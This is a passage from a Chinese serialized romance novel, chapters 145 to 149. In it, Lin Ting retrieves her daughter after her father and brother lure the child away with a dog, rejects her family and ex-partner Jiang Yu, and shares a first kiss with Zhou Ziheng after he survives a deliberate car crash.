好在身旁的儿子林振宇,立即扶住了他,“爸!” “药,药……” “我带了,爸,你撑着,马上。” 林振宇赶紧把带来的速效救心丸,倒在手心里,喂进林建国的掌心里。 宋律风把手中矿泉水,递过去。 不是他心软,是他不想让这老不死的死在落落和柚子的幼儿园。 看着父亲将药服下去,情况好转了一些,林振宇扶着林建国坐到一边的花坛上。 “宋律风,我妹妹和你关系要好,你能不能帮我们劝劝她。” “一来,我和我爸对她们母女俩牵肠挂肚。” “二来,听说她和周自衡在一起了,我们怕她被周自衡那个心狠手辣的男人欺负。” “宋……” 宋律风比了一个打住的手势,“你们是不是忘了,是谁救了林听一命?” 宋律风越想越气愤。 “林振宇,你和你爸万般维护的苏秀珍林薇薇母女俩,把抗癌药交给了周六少。” “重回周家掌权的周自衡,拿到药,就等于拿到了配方,他完全可以抢占你们林江医药的市场,但他没有。” “他一心一意救了小听,没有打抗癌药的主意。” “你们不感激他救了小听一命也就算了,竟然如此诋毁他的人品。” “就因为外面那些传言,说他心狠手辣,你们就真的以为他心狠手辣?” “他要真是心狠手辣,他救小听干什么?” “如果你们真想让小听原谅你们,好好找找自己身上的原因。” 死性不改! 当初因为别人的诋毁,不信任小听。 现在又因为别人的诋毁,不信任周自衡。 “你们好好想一想,周自衡如果真的娶了小听,那他将是未来要陪小听一起过日子,一起走到老的人。” “你们这样诋毁他,小听还能原谅你们吗?” “还有,如果你们真的在意小听,唐阿姨的那笔遗产就应该如数归还,而不是非要闹到小听和你们对簿公堂。” “不过没关系,如果你们非要上法庭,这笔遗产我会替小听分文不差地要回来。” 丢下这几句话,宋律风转身离去。 他寻着运动会上落落和柚子的身影而去。 留下两个穿着大熊玩偶服的林家父子二人,顶着大汗,四目相对。 “爸,我怎么觉得宋律风说得好像挺有道理的。” “但是我就怕这个周自衡欺负小听。” “其实江遇人挺好的,他心里一直装着小听,所以从始自终他都没有碰过林薇薇。” “况且,江遇和小听还有柚子,我还是希望他们破镜重圆。” 坐在花坛上的林建国,终于缓过来了,“我要柚子的心愿信箱里看见,她希望养一只和肚兜一样的小狗。小听是明天回鹏城,对吗?” 林振宇点点头,“嗯,明天返程。我听江遇说,小听和中医界的泰斗人物薛老先生,签订了师承合同。爸,那个时候,我们不该让医学院废除小听的学籍的。” 这件事情,林建国挺后悔的。 这办的根本就不是人事。 难怪小听如此恨他们父子二人。 林建国思女心切,道,“振宇,明天我想见见你妹妹。” 林振宇一筹莫展,“小听不会见我们的,见她一面比登天还难。” 林建国:“我有办法。” …… 翌日傍晚。 林听和周自衡一起返回鹏城。 飞机刚刚落地。 林听思女心切。 从机舱里走出来,她第一时间给宋律风打了电话。 “律风,柚子在吗。你让她听电话。” 离开女儿三天,林听无时无刻不想念女儿。 这会儿,她归心似箭。 宋律风手里拿着两个水杯,那是给花园里的柚子和落落拿去的。 他边走边说,“你等一下,柚子和落落在花园里玩捉迷藏。” 花园里。 张淑琴捂着眼睛,“五,四,三,二,一……时间到了,外婆要来找你们了。” 张淑琴睁开眼,在花园里找了一圈。 落落和柚子,都不见了。 宋律风也找了一圈,“柚子,先别躲了,你周爸爸和妈妈来电话了,快来接电话,柚子……落落。” 连续叫了好几声,没人应。 两个大人同时惊慌起来。 他们朝别墅大门望去。 门口敞开了一条缝隙。 宋律风赶紧跑出去。 别墅外却是空空如也。 柚子和落落,双双不见了。 走出别墅的柚子和落落,追着一条白色小狗,一路走远。 那只小狗,主人叫它肚兜。 柚子跟着肚兜一路追上去:“落落姐姐,这只小狗和我养过的肚兜长得好像,它也叫肚兜。” 落落也跟着一路走:“好可爱的小狗狗呀!” 白色小狗冲着两姐妹摇尾巴。 狗主人停下来,问,“小朋友,你家小狗也叫肚兜,巧了,我家狗狗也叫肚兜。” 柚子蹲下来,“叔叔,我可以摸摸它吗?” “可以呀!” 柚子和落落都蹲了下来,一起摸着小狗毛茸茸的脑袋。 就在这时,身后的两个黑影捂紧两人的小嘴,快速将两个小小的身影强行掳进了车里。 半个小时后,宋律风根本临近,查到了黑色轿车的来路。 “小听,查清楚了,掳走柚子和落落的轿车,车牌号是林江医药的。” 林听第一时间想到一个人,“江遇?” 第145章 周自衡,你等我 由于林听没有江遇的电话号码。 她早将江遇拉黑删除。 这会儿只好看着宋律风和周自衡,慌忙问: “你们谁有江遇的电话?” 周自衡立即掏出手机,从通讯录里快速翻出了江遇的手机号码,播通了递给她。 “你先别急,只要这车是林江医药集团的,柚子和落落就不会有危险。” 旁边的张淑琴,已经急哭了。 虽然知道是林江医药派的人,掳走了两个孩子,但她还是不放心。 这俩孩子就在她眼皮子底下,不到半分钟的时间就被人掳走了。 要是有个什么三长两短,张淑琴也不准备活了。 不过眼下找孩子要紧。 电话接通,那头传来江遇冷冰冰如同仇人的声音。 “有事?” 江遇对周自衡始终心存愧疚。 周自衡曾经替他挡过刀子,脾胃破裂,差点送命。 他们之间有着刎颈之交的情谊。 可他却在周自衡最困难的时候,没有坚定地信任他。 原本江遇想要弥补。 自从林听和周自衡真正在一起后,这份愧疚之意,弥补之心,被他心中的醋意与恨意取代。 他对周自衡,只剩下恨。 恨他抢了他最心爱的女人。 他握紧手机,脸色阴沉下去。 电话里传林听的声音: “江遇,我问你,你为什么要把柚子偷偷抱走,柚子在哪里?” 林听的声音,让江遇半死不活的心,一瞬间又重新跳动起来。 他不激动的。 可是激动不过两秒钟。 坐在车上的他,整个心突然紧紧一揪,“柚子不见了?到底怎么回事?” 柚子是他的亲生女儿。 血脉相连,牵肠挂肚。 一听说柚子不见了,江遇整个人不好了,“林听,你说话啊,柚子到底怎么了?” 林听唯一能够猜测到的,便是江遇将柚子掳走了。 她只想快点见到柚子,“江遇,你少装了,你到底把柚子弄去哪里了?” 江遇无可奈何:“我刚刚从江市回来,柚子真的不是我抱走的。你在哪里,我去和你汇合。” 女儿的突然失踪,让林听无法理智和冷静。 她握着手机,全身颤抖,“江遇,不是你还能有谁?你到底想要干什么?” 电话那头的痛苦声,深深地牵扯着江遇的心。 他让自己快速冷静下来。 然后用理智分析这件事情。 “林听,柚子真的不是我带走的。” “你告诉我,柚子在哪里走丢的,走丢多长时间了?我来想办法。” 听着江遇这冷静中,带着担忧的语气,林听终于相信,柚子不是他带走的。 不是江遇,却又是林江医药的轿车掳走了两个孩子。 那么,掳走孩子的,是林建国的林振宇? 她没有回答江遇的问题,直接挂断了电话。 宋律风与她想到同一块儿去了,“小听,昨天幼儿园举行秋季运动会,林振宇和林建国一起扮成学校啦啦队成员,一直在偷偷摸摸接近柚子。会不会是林家两父子带走了两个孩子?” 就在这时,宋律风的电话响了。 来电显示:林振宇。 林家的人也被林听拉黑了,他们只能打给宋律风。 林听赶紧把手机抢过去,接通,“林振宇,是不是你把柚子和落落带走了?” 那头传来林振宇无比愧疚的声音: “小妹,对不起,哥哥只能用这样的方式见你一面。” “你放心,柚子和落落在家里和肚兜玩得正开心。” 林听有些疑惑,“肚兜?” 以前,她和柚子还没有回鹏城时,捡过一只白色的流浪狗。 名字叫肚兜。 捡到它的时候,又脏又丑,身上的毛都打结了。 她和柚子给它剪了毛,驱了虫,治了病,把它养得胖乎乎的。 肚兜每天都会冲着柚子摇尾巴,缠着和柚子一起玩西瓜球。 可是后来,肚兜为了保护柚子,被一辆车子给压死了。 后来,柚子希望再养一条小狗。 林听怕她去领养家庭,对方不接受她的小狗,硬是没同意。 这是柚子心中的遗憾。 难怪刚刚查到监控显示,柚子和落落是被一条白色小狗给吸引走的。 那条引走柚子的白色小狗,竟然和肚兜长得十分相像! 知道柚子在林振宇手上,林听松了一大口气。 但她十分疑惑,“你怎么知道,柚子以前养过一条小狗叫肚兜?” 面对妹妹的疑问,林振宇老老实实回答: “小妹,要了解柚子的喜好,很容易的,只要稍稍用一些心思。” “我去了柚子的幼儿园,看到了她在心愿信箱写下的愿望。” 呵! 这样的用心良苦,林听根本不为所动。 她只觉得林振宇多此一举。 她申明道,“林振宇,我不是你的小妹,你的小妹叫林薇薇。” “……”那头的林振宇,被怼得哑口无言。 他知道,过去的一段日子里,因为林薇薇他深深伤害过林听。 林听对他这般态度,是他活该的,应受的。 沉默片刻,他无比诚恳地邀请着,“小妹,爸已经有六七年没有下过厨了。今晚他亲自下厨,做了一桌你最喜欢的菜。你过来接柚子回家的时候,顺便吃顿家宴吧。我派司机去接你。” 林听冷冷应声,“不用,我自己识路。” …… 机场路。 一辆商务车从机场高速驶向城区。 车上的江书臣问,“江遇,柚子出什么事了,又不见了吗?” 江遇没有回应,他给林振宇林建国打着电话。 两人均是无人接听。 夏静姝在旁边问,“会不会是林薇薇掳走了柚子?” 江遇心下难安,却十分肯定,“不会。” 林薇薇被林家赶出去后,虽然过得十分狼狈,到处打零工维生,但她没有坏到要伤害一个孩子的地步。 当初周六少为了离间他和林听,从而让林薇薇彻底扎根在林江两家,成为他的眼线,他派人把柚子扔进了河里。 是林薇薇于心不忍,把柚子从河里捞回来,又悄悄送回林听住的城中村巷子口。 那时林薇薇没有对柚子赶尽杀绝。 现在就不会再害柚子。 江遇看着车窗外的沿途风景,若有所思道,“先回星河湾。” 或许,是林振宇和林建国,太过思念柚子,才把柚子悄悄带走了。 林振宇又不是没干过这种事情。 …… 星河湾,静怡别苑。 林建国在一楼的厨房里,准备着晚餐。 透过那面透明的落地窗,可以看见厨房外的绿草地上,和肚兜一起玩耍的柚子和落落两姐妹。 柚子玩得很开心。 这一刻,林建国透过柚子,仿佛看到了小时候的林听。 嘶…… 林建国太过专注地凝视着柚子,切到手了。 疼痛传来,他忽然老泪纵横。 倒不是因为手上的刀口,而是想起之前他对女儿做过的那些事情。 太伤女儿的心了。 林听是他的亲生女儿呀。 是婉华当初冒着生命危险,为他生下的宝贝千金。 他却一而再再而三的,让林听遍体鳞伤。 他真不是人。 好在,他的宝贝女儿还活在这个世界上,他还有机会弥补。 …… 二十分钟后,一辆酒红色的红旗国耀和一辆黑色的红旗国礼,几乎是同一时间抵达星河湾的静怡别苑。 红旗国礼,驶进静怡别苑。 而酒红色的红旗国耀眼,却被拦了下来。 曹叔来到车窗前,见到林听,为难道,“小听,你爸爸吩咐过,只能你进去,这位周先生他不能进。” 林听知道,林建国和林振宇根本不支持她和周自衡在一起。 他们总以为周自衡和传言那般,心狠手辣,为人狠戾。 不仅多管闲事,还没长脑子。 她看了一眼坐在驾驶室的周自衡,“你等我,我进去接着柚子和落落就出来,不耽误多少时间。” 下了车,她又回头看着周自衡,“还有,周自衡,林家的人说什么,你不要放在心上。反正在我心里,你是个重情重义的好男人。” 周自衡的唇角,勾起一丝笑意,“怕我难过,特地安慰我?” 这个世间对周自衡太不公平了,没有人能够明白周自衡心里的苦与痛。 但林听明白。 周自衡笑了笑,又道,“好了,进去吧,你让我在这里等你,我会乖乖等着的。快去快回。” 第146章 这个男人,我嫁定了 林听想着又要与林建国和林振宇见面,心下反感又抵触。 可是见到周自衡的这抹笑容,心里的烦躁感减轻了不少。 她冲周自衡点了点头,一脸微笑道,“好,等我接着两个孩子,马上回来。” 这甜美温婉的声音,被别墅里下车走来的江遇,听得清清楚楚。 江遇紧紧握拳。 林听和周自衡的关系,已经亲密到了如此恩爱甜蜜的地步。 他嫉妒得快要发狂,却又不得不保持着冷静和沉稳,走到进了别墅大门的林听面前。 “柚子和落落在林家,你不必担心了。” 林听:“我知道。” 她说这句话的时候,径直往里走,根本没有看江遇一眼。 声音也是冷冰冰的。 丢下江遇站在大门口的车库旁,心里很不是滋味。 想起刚刚林听对周自衡回头时,那一抹温柔甜蜜的笑容,那是他曾经垂手可得的。 如今,想要让林听对他笑一笑,却成了奢望。 再次回到林家,林听见草地旁的一块花池,种满了她最喜欢的洋桔梗。 其中紫色洋桔梗,开得最为鲜艳。 她记得以前林家还没有搬家的时候,也是满院子都种满了洋桔梗。 如今洋桔梗还是洋桔梗,却早已物是人非。 她的父亲和哥哥,再也不是从前那个只将她捧在手心里的父亲和哥哥。 而她,也不是她。 路过那些洋桔梗时,她没有停留。 她寻着柚子和落落的声音,来到厨房外的那片绿草地。 绿草地上,一条小白狗追着飞盘奔来跑去。 柚子和落落,也跟着奔来跑去。 旁边的林振宇,满眼宠爱地看着两个孩子,直到不经意抬眼间,见到了林听,林振宇整个人紧张起来。 “小妹!” “我不是你小妹。” 对于林振宇,林听实在是无法原谅。 不管林家这院子种了多少她喜欢的洋桔梗,她和林振宇都没有办法回到过去了。 她冷着脸,看也没看林振宇一眼。 这时,听到她的声音,柚子丢下手中正准备扔出去的飞盘,朝着妈妈飞奔而来。 “妈妈,你来啦!” 落落也跟着跑过来,“小听阿姨!” 林听蹲下来,将两个孩子揽入怀里,然后故作生气状,在两个孩子的鼻尖上,轻轻点了点。 “你们知不知道,外公外婆被你们吓坏了。” “怎么可以追着一条小狗,连声招呼也不打,就离开家门?” 两个孩子都知道错了。 柚子说了对不起,然后小心翼翼道,“妈妈,可是我真的太想肚兜了。” 这时,林振宇上前两步,看着她们母女二人。 “小妹,爸已经做好了晚餐,都是你爱吃的家常菜,进去吃个饭再走吧。” 她起身,牵着落落和柚子。 方才的笑容,瞬间冷却下来,“不必了,关于你们用一只小狗诱骗带走柚子和落落的事情,我已经报警了。一会儿警察会上门调查。有什么异议,让他们转告给我就行。” 说完,她牵着两个孩子准备走。 林振宇大步绕到她身前,张开双臂拦着不让她走。 “小妹……” “我不是你小妹。” “好,哥知道你还在生我的气。哥不怪你。” 林听再一次气不活了。 他有什么资格说这一句:他不怪她? 她望向林振宇,眼神依旧是那样冷,“让开。” 林振宇就不让开,“小妹,自从你进监狱后,爸就再也没亲自下过厨。就连林薇薇还在林家时,他都没有亲自做过一顿饭。看在他老人家如此用心的份上,你留下来吃了饭再走,好不好。给哥一个面子,哥求你了。” 林听:“你有面子吗?” 林振宇:“……” 空气里,是苦涩无边的味道。 林振宇沉沉地吸了一口气,又道,“不留下来吃晚饭,那我们可不可以聊聊正事。” “我们没什么好聊的。”林听牵着孩子,欲绕开林振宇。 林振宇再次挪动脚步,拦着她和两个孩子,“小妹,宋律风说得对,妈留下来的那笔遗产应该如数交到你手上。不用等到开庭,我和爸已经准备好了,你进去过目,签个字就行了。” 半分钟后,林听领着孩子进了屋。 林建国赶紧擦了擦手,从厨房走出来,“小听,你回来了。” 再次见到林建国,他多了许多白头发。 比之前疲惫,苍老了许多。 看上去精神不是很好。 可是林听并没有心疼。 她开门见山,“我妈留下的那笔遗产……” “准备好了,准备好了!”林建国赶紧让曹叔把一份文件夹。 他拆开文件夹,把里面的公证资料拿出来,“房产,股份,债券,基金份额,银行卡,小听,你过目。” 父子二人,原本是准备让林听回林家,不再和周自衡来往,才把这些资产交给林听。 可是宋律风昨日一番话,将父子二人点醒。 他们要是再阻止下去,会让林听更加厌恶他们。 林听拿着这些资产转让资料,翻开一看。 上面盖了许多公章,还有林建国和林振宇的亲笔签名。 她没有想到,这一次他们能如此爽快。 林建国对她说,“小听,你签个字,这些转让协议就生效了。还有,银行卡的密码是你生日。” 林听收好资料,放进包包里,“没别的事了,我先走了。” “小听……”看着她领着两个孩子又要走,林建国在身后痛心疾首,“真的不留下来吃个晚饭吗?” 他几乎是在哀求,“留下来陪爸爸吃顿晚饭好不好,我们一家人很久没有聚在一起了。” 林振宇以旁边劝道,“小妹,我和爸是真的知道错了,真的很想弥补你。难道你没有发现,家里的装修风格也换成了之前你喜欢的法式奶油风。你和柚子的房间,也重新布置过。” 从进门的那一刻,林听就发现了。 以前这里的装修风格,是林薇薇喜欢的宋式美学风。 几个月的时间,改成了她喜欢的法式奶油风格。 又能怎样呢? 这里处处透着让她窒息的气息。 多呆一秒钟,她也不愿意。 她背对着身后的林家父子二人,毫不心软道,“我妈的遗产我已经拿到了,从今以后,我们两清了。” “小听!”林建国在身后劝道,“爸爸知道你还恨我。爸爸没想过这么快能得到你的原谅,但是你能不能听爸爸一句劝,别和周自衡在一起。阿遇其实是一个很好的男人。为了你,他和林薇薇从来没有发生过实质的关系。而且你们还有共同的孩子,又从小青梅竹马。你再给阿遇一个机会,好不好?” 女儿的终身大事,一直让林建国担心。 从女儿还是一个牙牙学语的孩子起,他就开始担忧,怕她长大了所托非人。 那个周自衡,身在尔虞我诈的周家,为了权势不择手段。 “小听,爸爸怎么放心让你嫁给周自衡那样狠戾的人。” 林听有些哽咽。 听闻林建国这语重心长又小心翼翼的语气,她想起许多小时候的事情来。 那个时候的林建国,真的宠她到无法无天。 为了护着她,他竟然和重男轻女的爷爷奶奶大吵大闹,闹到和爷爷奶奶断绝关系,也要疼她宠她的地步。 那些父女情深,林听没有忘。 可是,那只是曾经。 回不去的曾经。 她掩饰着心酸,背对着林建国,冷冷问,“可是,你们把我送进监狱的时候,就放心了吗?” “我……” “我苦苦求药,你们狠心拒绝的时候,可曾想过我真的会死?那个时候,你们就放心了吗?” 她背对着林建国和林振宇,无比坚定道,“你们没有资格再左右我的婚事,周自衡这个男人,我嫁定了。” 这句话,既是说给林建国林振宇听的。 也是说给,走进林家客厅的江遇听的。 说完,她领着柚子和落落,再次迈开步伐。 从江遇身边擦肩而过的时候,许多她与江遇从小到大的画面在脑海里浮过。 可她还是看也没看江遇一眼,匆匆离去。 江遇抓住了她的手臂,“听听,不要嫁给周自衡!” 这声音夹杂着秋夜的凉风,卑微到了尘埃里。 第147章 你在关心我? 林听记得她刚刚回鹏城,拜托书臣哥带她去见江遇。 面对江遇,她苦苦哀求着,让他和柚子做一次亲子鉴定时,她也是如此卑微。 几个月前的事情,仿佛就在昨天,又仿佛是很久远的事情了。 它们在她心里留下了不可磨灭的伤痕。 即使她努力地告诉自己,那些都过去了,可是每每想起,胸口依然堵堵的疼。 忍痛间,她干脆利落地,挥开了江遇的手,“不管我嫁谁,都是我的自由,你无权干涉。” “听听……”江遇再次抓住林听的手臂。 旁边的小柚子扑上来,狠狠咬了他一口,“你放开我妈妈。” 小小的,和林听一个模子刻出来的脸蛋,凶巴巴的,瞪着他。 小鼻子一皱,怒道,“我妈妈就是要嫁给周爸爸,你管不着。” 说着,柚子望向林听,“妈妈,我们走吧。” 身后三人,江遇、林建国、林振宇,眼睁睁地看着林听领着两个孩子,头也不回。 走到门口,曹叔劝道,“小听,留下来吃了饭再走吧。” 在林家,林听唯独对曹叔,礼貌道,“不了,曹叔,你好好保重身体,我们先走了。” 走出林家别墅,下起了小雨。 夜色下,周自衡撑着一把黑色大伞,倚靠在车门前。 见到她们仨走出来,他赶紧撑着伞,大步迎上来。 雨伞之下,他长腿一迈。 几步间,来到她们面前。 一把大伞撑过来。 大伞的阴影下,他深邃的眼窝与挺拔的鼻梁勾勒出几分刚毅帅气。 见到两个小朋友,又自然而然地露出笑意。 这笑意是那样铁血又柔情。 “伞,拿着。” 林听接过伞时,周自衡已将两个小朋友,一左一右抱了起来。 四人在雨中,挤在一把伞下,很快来到了那辆酒红色的红旗国耀车前。 远处,江遇就这么看着周自衡将两个孩子和林听,一一送进车里。 曾经,那个替林听撑伞的人,永远只有他一人。 如今看到林听身边撑伞的人变成了周自衡,他嫉妒地发狂。 车子在细雨中,扬长而去。 只留下站在雨中,久久眺望的江遇。 雨点何时越落越大,江遇完全没有察觉到。 直到林振宇打着一把伞,举过他的头顶,他才意识到,自己身上已经湿透了。 林振宇在旁边说,“阿遇,你要想办法把小听追回来,我可以帮你。” 江遇望着车影远去的夜色,依然紧握着拳头,“你只会越帮越忙,我自己会想办法。” 林振宇不服气,“我怎么可能越帮越忙,那是我最亲最爱的小妹,难道我还能害了她不成?” 江遇抽回神色,冷冷地看着林振宇,“你以前可不是这么说的。” 他甚至埋怨林振宇和林建国曾经为了林薇薇,三番五次让林听嫁给那个又肥又胖的郑辉。 可是想到他也深深伤害过林听,他便没了资格去埋怨任何人。 江遇知道,如果从始自终他能信任林听,保护林听,不管是谁,都伤害不了林听分毫。 一切,都是他的错。 雨夜。 周自衡亲自将林听、柚子、落落三人,送回君悦府。 重新见到两个孩子,张淑琴哭着抱紧她们。 “对不起,柚子,落落,是外婆的错,外婆没看好你们。” 幸好不是拐小孩的坏人。 否则后果不堪设想。 宋律风也是一阵后怕,在旁边耐心又温柔地教育着两个孩子。 “落落,柚子,以后不管是看见多么可爱的小狗小猫,都不可以追出去。” “也不能跟着别的小朋友走,不能离开大人的视线。” 这次真的吓死大家了。 尤其是宋律风,周琪难产去世的时候,他答应过周琪,要将落落和盼盼和柚子好好抚养长大的。 孩子们要是有个三长两短,他难辞其咎。 两个小朋友也十分内疚。 “律风爸爸,柚子知道错了。” “爸爸,落落也知道错了。” 宋律风摸了摸两个孩子的脑袋,温柔道,“没有责怪你们,只是以后一定要小心谨慎。” 现在拐孩子的手段非常多。 有时候就在大人的眼皮子底下,十余秒的时间,孩子便不见了。 当了父亲和母亲的宋律风与林听,完全不敢有任何大意。 …… 翌日,夜晚。 周自衡忙完集团的事情,已经是夜里八点了。 坐上那辆酒红色的红旗国耀眼,他给林听打了一通电话。 “今天回去比较晚,你和柚子先睡。” “告诉柚子,今晚非常抱歉,不能给她讲睡前故事了。” 开车的洛高,忍不住偷笑。 家主和林小姐之间的关系,明明是假情侣。 可是家主对林小姐,却像是在尽一个丈夫的义务似的。 不管去哪里,不管多晚回君悦府,都会提前同林小姐报备。 不只洛高如此认为,就连电话那头的林听,也觉得这通电话意义非凡。 她总感觉周自衡时时都在向她报备,就像她真的是他的妻子似的。 这种感觉,让林听接着电话的心绪,也变得不那么平静了。 尤其是听闻电话那头,周自衡淳厚好听的声音。 “林听,你有在听电话吗?” 低沉的声线在耳畔边震颤。 明明一个在电话那头,一个在电话这头,这声音却像是裹着他温热的气息一般,漫过她的耳畔。 林听呼吸微乱,“……在听呢,放心,我会给柚子讲睡前故事的。谁在开车,洛高还是你自己?要是你在开车的话,就别讲电话了,注意安全!” “你是在担心我吗?” 电话那头的专声线,带着微微愉悦。 为了掩饰自己乱掉的心绪,林听故意打趣道,“你不是废话嘛,你就像我的亲大哥一样,比林振宇还要亲,我不关心你,谁关心你。” 这头的周自衡,唇角轻压,嘴间笑意消散。 这个女人,就完全感觉不到,他对她的心思? 他也知道,她一朝被蛇咬,十年怕井绳,所以他有的是耐心。 他顺着她的话,笑了笑,“那我真是可怜!” 林听嘀咕了一句,“有人关心你,怎么还可怜上了?” 明明再过半小时,就能到家了,周自衡却无比迷恋此时此刻,和她通电话的每一秒钟,“这个世界上,恐怕就只有你一个人关心我。” 林听反驳,“谁说的,还有柚子呀。而且我爸,我妈,还有律风不是也挺关心你的。周自衡,周家给不了你的亲情和温暖,我们都可以给你。” 就在这时,轰隆一声! 林听还想再说什么,只听电话那头传来车子被撞的声音。 伴随着洛高的呼喊声,“家主,小心……” 再后来,电话自动断了线。 林听的心瞬间提到嗓子眼,一下子七上八下,“周自衡,周自衡……” 哪里还有周自衡的回应,电话只剩下断线后的嘟嘟声。 一声,一声,搅得林听心湖大乱。 第148章 亲了她一下 周自衡出车祸了。 江南路,一辆大货车突然自杀式地朝他们那辆酒红色的红旗国耀,冲撞而来。 幸好洛高反应快,一个猛打方向盘。 可是两辆车子依然撞在一起。 混乱中,哐当哐当的撞击声,不断刺激着周自衡的耳膜。 直到车子翻滚了几米远,终于停下来,周自衡的耳朵依旧嗡嗡嗡直响。 车子被撞的那一瞬间,汽车安全气囊成功弹出来。 这辆酒红色的红旗国耀,是当初江遇送给他的车。 这么些年来,之所以他一直用这辆车子当座驾,那是因为这是江遇特殊定制的车,防撞,防弹,防水,防爆。 那时的江遇知道他身陷周家的算计与坑害当中,就怕他出什么意外。 所以才特地定制了这辆国产红旗SUV。 刚刚那么一撞,如果是换作别的车子,他可能早没命了。 从车子里爬出来,周自衡又将被困驾驶室的洛高拖拽出来。 “家主,你没事吧?” 周自衡摆摆手,趴进车厢里,掏出手机来。 电话不停闪烁着。 林听打来的。 刚刚电话强行断线,林听一定会担忧。 他不顾自己额头流着血,沉稳镇定地划开了接听键。 君悦府。 电话被接通的那一刻,林听终于松了一口气。 可是她依旧不敢松懈,“周自衡,你没事吧,刚刚是不是撞车了?” 周自衡用平静沉稳的声音,笑着回复,“我没事,只是普通的追尾而已。” 哪里是普通的追尾。 那辆大货车自杀式地撞上来。 一看就是蓄意谋杀。 这样情况,周自衡在周家遇到过太太多。 周二少和周六少的意外死亡,就是周五少如此安排的。 看似意外,实则蓄意谋杀。 可是周家的人死的死,坐的坐牢,唯一活着的男丁周六少又在逃亡之中。 还能有谁? 难道是周家那些女流之辈? 他没有那么多时间去猜测,听闻电话那头的林听无比焦急,他耐心安慰着。 “真的只是普通追尾,你别着急,我半个小时后就到家。” 林听急切道,“你在哪里,我和律风去接你。” 周自衡轻声劝道,“大晚上的,你留在家里哄柚子,我真的没事,别担心。” 林听焦急得很,“真的没事吗,有没有受伤?” 周自衡耐心道,“小擦伤,不碍事,很快回家,你先挂电话。” 林听还是不放心,“真没事吗?” 周自衡笑了笑,“我若是有事,还能像个没事人一样,给你打电话?真没事,乖,你先挂电话。” 闻言,林又嘱咐了几句,这才挂断电话。 肇事司机,已经逃逸了。 周自衡听闻电话断线后,脸色阴沉起来,“查到底!” 洛高脸色沉重地点点头,他也怀疑是有人蓄意谋杀,“家主,你受伤了,额头流了好多血。” 周自衡轻轻碰了碰额头,明明很疼,可他眼睛也不眨一下。 “只是皮外伤,没事。去车里,把我带给柚子和落落的礼物拿出来。” 都这个时候了,他还关心着带给柚子的礼物。 可见,他是真的将柚子当亲生女儿宠着。 洛高没办法,只好又爬进车子里,把礼物盒子翻出来。 半个小时后,周自衡回到了君悦府。 林听一直坐立不安地蜷在沙发上。 听闻开门声,她连鞋子都不顾上穿,赤着脚踩在地毯上,朝着进门的周自衡大步迎上去。 “周自衡!” 见他额头有伤,至少鸡蛋大的擦伤,她不由皱起眉头来,“受伤了?” 随即,责备地看向周自衡身后的洛高,“怎么没送他去医院包扎一下。” 洛高无可奈何,“家主说只是小伤,回家随便包扎一下。我记得林小姐好像是学医的?正好派上用场。” 林听长长地叹了一口气,还好只是皮外伤,没伤到大碍。 她不由拉着周自衡的手臂,“走,我给你包扎。” 身后的周自衡,站在原地,没有挪动步伐。 见她光着脚跑,他不由弯下腰重新拿了一双拖鞋,单膝蹲下来放在她的脚边。 直到脚掌被人拍了拍,林听才重新转身回头。 见周自衡蹲在她面前,既关心,又责备,“也不知道穿鞋,抬脚!” 旁边的洛高,见着这对假情侣像是真情侣一样相处着,偷偷一笑间退出房门,又将房门关紧。 屋子里,林听迟疑了片刻,并没有抬脚。 那只白皙如玉的脚踝,便被周自衡宽厚温暖的大掌轻轻一握,往上一抬,“把鞋穿好!” “那只鞋,难不成也要等我帮你穿?”蹲在面前的周自衡,勾唇轻轻一笑。 俯视着周自衡的这个笑容,林听微微间失了神。 他是一个不爱笑的人,尤其是在别人面前。 可是她每一次面对他,他眼底的冷冽都被他的温柔笑意所融化,让他这铮铮铁骨的容貌染上一片柔情。 一时失神的她,脑子想着要自己穿上剩下的那只鞋,脚却不听使唤似的,一动不能动。 下一瞬,温暖的大掌再次轻轻握住她的另一只脚踝,“抬脚!” 她赶紧把脚抽开,快速穿上鞋子,“我自己来。” 穿完鞋,她又赶紧走到客厅转了一圈。 刚刚她说,要干什么来着……突然慌得忘了自己要干什么。 哦,对了,要替他擦药包扎。 她赶紧去柜子里,拿出平时备好的医药箱,“周自衡,你坐在那儿,我替你先消个毒。” 周自衡倒是乖乖坐下来,可是他的眸光一直在林听的脸上。 她面若桃花。 脸颊边上微微发红,一直蔓延到耳根子后头。 冰冰凉凉的碘伏擦在周自衡的额头伤处时,明明有一阵刺痛感,他却眼睛也不眨一下地盯着她看。 随即轻轻抬唇,薄唇微勾,“你脸红了?” 林听手下替他擦着碘伏的动作,微微一顿,“……没有啊。” 实则,她耳根子有些发烫。 脑海里全是刚刚他蹲在她面前,握住她的脚踝,帮她穿拖鞋的画面。 脸颊烧灼的厉害。 也烫得厉害。 只好垂着眸,看似平静又仔细地替他消毒。 长长的睫毛下面,那双眸子竭尽掩饰。 越掩饰,越慌张得厉害。 手下的动作,也有些乱了节奏。 “嘶……”周自衡皱起眉头。 林听赶紧连着说了好几声,“对不起,对不起,我再轻一点。” 那只准备继续替周自衡擦药的白皙手腕,被周自衡轻轻握住。 细碎的灯光中,林听睫毛轻颤,周自衡望着这张像少女般白皙迷人的脸蛋,连呼吸都快忘了。 她刚刚脸红了,是在害羞。 他不可能察觉不出来。 性感喉结,克制地滚动着。 轻抿的薄唇微微一抬。 下一瞬,滚烫的温度,落在林听软软的唇瓣。 林听脑袋宕机,顿时定住。 周自衡亲她了? 第149章 昨晚是我初吻 这是周自衡的初吻。 他甚至完全不知道,下一步要做什么。 挺拔性感的喉结,连续滚动了三次。 呼吸刻意放轻。 像是生怕吓坏了面前身子紧紧崩紧的林听。 越是竭力克制,呼吸越是滚烫灼人。 灼得林听大脑宕机似的。 定在原地,一动不动。 周自衡亲她了? 他竟然真的亲了她? 她像只误入陷阱的小鹿,睫毛小心翼翼地颤动着。 耳尖泛起桃花色。 胸腔鼓噪的心跳,几乎要冲破喉咙。 终于在几秒钟后,下意识地往后一躲。 男人的大掌却霸气地扣住她的后脑颈,指间温柔地搂着她。 “林听,别躲!” 这一天,他等了二十四年。 他九岁那年被人坑害丢入水中。 六岁的林听不顾一切,抱着一个破游泳圈扑向他,奶声奶气地喊着——‘周自衡,别怕,我来救你’。 他便暗暗发誓。 将来长大了,一定要娶她为妻,一定要当他的男人。 这唇间的温度,饱尝他二十四年的相思之苦。 他不容她拒绝。 在她整个人被定住的时候,随手拿走她手上的棉签与碘伏,搁在一旁。 吻,继续着,开始侵略,探入…… 这带着雪松的气息,滚烫灼人的缠过来。 林听的世界,轰然停滞。 喉咙里,突然溢出细碎的嘤咛声,缠绕在彼此纠缠的气息里。 不安的她,掌心一推。 